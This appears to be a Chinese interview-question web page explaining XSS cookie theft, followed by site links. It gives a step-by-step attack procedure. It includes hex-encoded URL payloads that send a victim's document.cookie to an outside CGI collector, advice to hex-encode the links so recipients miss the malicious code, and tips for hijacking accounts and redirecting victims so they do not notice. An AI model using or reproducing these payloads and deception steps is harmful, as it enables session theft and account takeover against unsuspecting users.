能否解释一下XSS cookie盗窃是什么意思


Posted in 面试题 onJune 02, 2012
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试

不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable=”>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. “>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. >

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息

一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

Tags in this post...

面试题 相关文章推荐
char型变量中能不能存贮一个中文汉字
Jul 08 面试题
WebSphere 应用服务器都支持哪些认证
Dec 26 面试题
C,C++的几个面试题小集
Jul 13 面试题
创建索引时需要注意的事项
May 13 面试题
武汉东之林科技有限公司机试
Sep 17 面试题
C#笔试题和英文面试题
Feb 07 面试题
StringBuilder和String的区别
May 18 面试题
Windows和Linux动态库应用异同
Apr 17 面试题
Why do we need Unit test
Jan 03 面试题
有abstract方法的类一定要用abstract修饰吗
Mar 14 面试题
金鑫耀Java笔试题
Sep 06 面试题
线程同步的方法
Nov 23 面试题
什么是跨站脚本攻击
Dec 11 #面试题
金士达面试非笔试
Mar 14 #面试题
傲盾软件面试题
Aug 17 #面试题
网络安全类面试题
Aug 01 #面试题
如何保障Web服务器安全
May 05 #面试题
介绍一下如何利用路径遍历进行攻击及如何防范
Jan 19 #面试题
SQL注入攻击的种类有哪些
Dec 30 #面试题
You might like
php学习笔记之面向对象
2014/11/08 PHP
Laravel使用模型实现like模糊查询的例子
2019/10/24 PHP
jquery一般方法介绍 入门参考
2011/06/21 Javascript
SyntaxHighlighter语法高亮插件使用说明
2011/08/14 Javascript
php对mongodb的扩展(小试牛刀)
2012/11/11 Javascript
打豆豆小游戏 用javascript编写的[打豆豆]小游戏
2013/01/08 Javascript
微信支付如何实现内置浏览器的H5页面支付
2015/09/25 Javascript
jquery实现全屏滚动
2015/12/28 Javascript
基于jQuery实现点击弹出层实例代码
2016/01/01 Javascript
JS+CSS实现鼠标经过弹出一个DIV框完整实例(带缓冲动画渐变效果)
2016/03/25 Javascript
关于vue状态过渡transition不起作用的原因解决
2019/04/09 Javascript
javaScript中indexOf用法技巧
2019/11/26 Javascript
jquery实现简单每周轮换的日历
2020/09/10 jQuery
详解Vue中Axios封装API接口的思路及方法
2020/10/10 Javascript
[01:08]2014DOTA2展望TI 剑指西雅图LGD战队专访
2014/06/30 DOTA
[45:56]Ti4正赛第一天 VG vs NEWBEE 3
2014/07/19 DOTA
[55:48]VGJ.S vs TNC Supermajor 败者组 BO3 第二场 6.6
2018/06/07 DOTA
[49:56]VG vs Optic 2018国际邀请赛小组赛BO2 第一场 8.19
2018/08/21 DOTA
Python计算已经过去多少个周末的方法
2015/07/25 Python
浅谈python numpy中nonzero()的用法
2018/04/02 Python
Django数据库类库MySQLdb使用详解
2019/04/28 Python
python gdal安装与简单使用
2019/08/01 Python
Python内置类型性能分析过程实例
2020/01/29 Python
python DES加密与解密及hex输出和bs64格式输出的实现代码
2020/04/13 Python
OpenCV 之按位运算举例解析
2020/06/19 Python
CSS3中线性颜色渐变的一些实现方法
2015/07/14 HTML / CSS
HTML5之SVG 2D入门8—文档结构及相关元素总结
2013/01/30 HTML / CSS
canvas实现按住鼠标移动绘制出轨迹的示例代码
2018/02/05 HTML / CSS
html2canvas生成清晰的图片实现打印的示例代码
2019/09/30 HTML / CSS
美国户外服装和装备购物网站:Outland USA
2020/03/22 全球购物
介绍一下结构化程序设计方法和面向对象程序设计方法的区别
2012/06/27 面试题
员工年终自我评价
2014/09/14 职场文书
质量主管工作职责
2014/09/26 职场文书
企业安全生产检查制度
2015/08/06 职场文书
《包身工》教学反思
2016/02/23 职场文书
python开发制作好看的时钟效果
2022/05/02 Python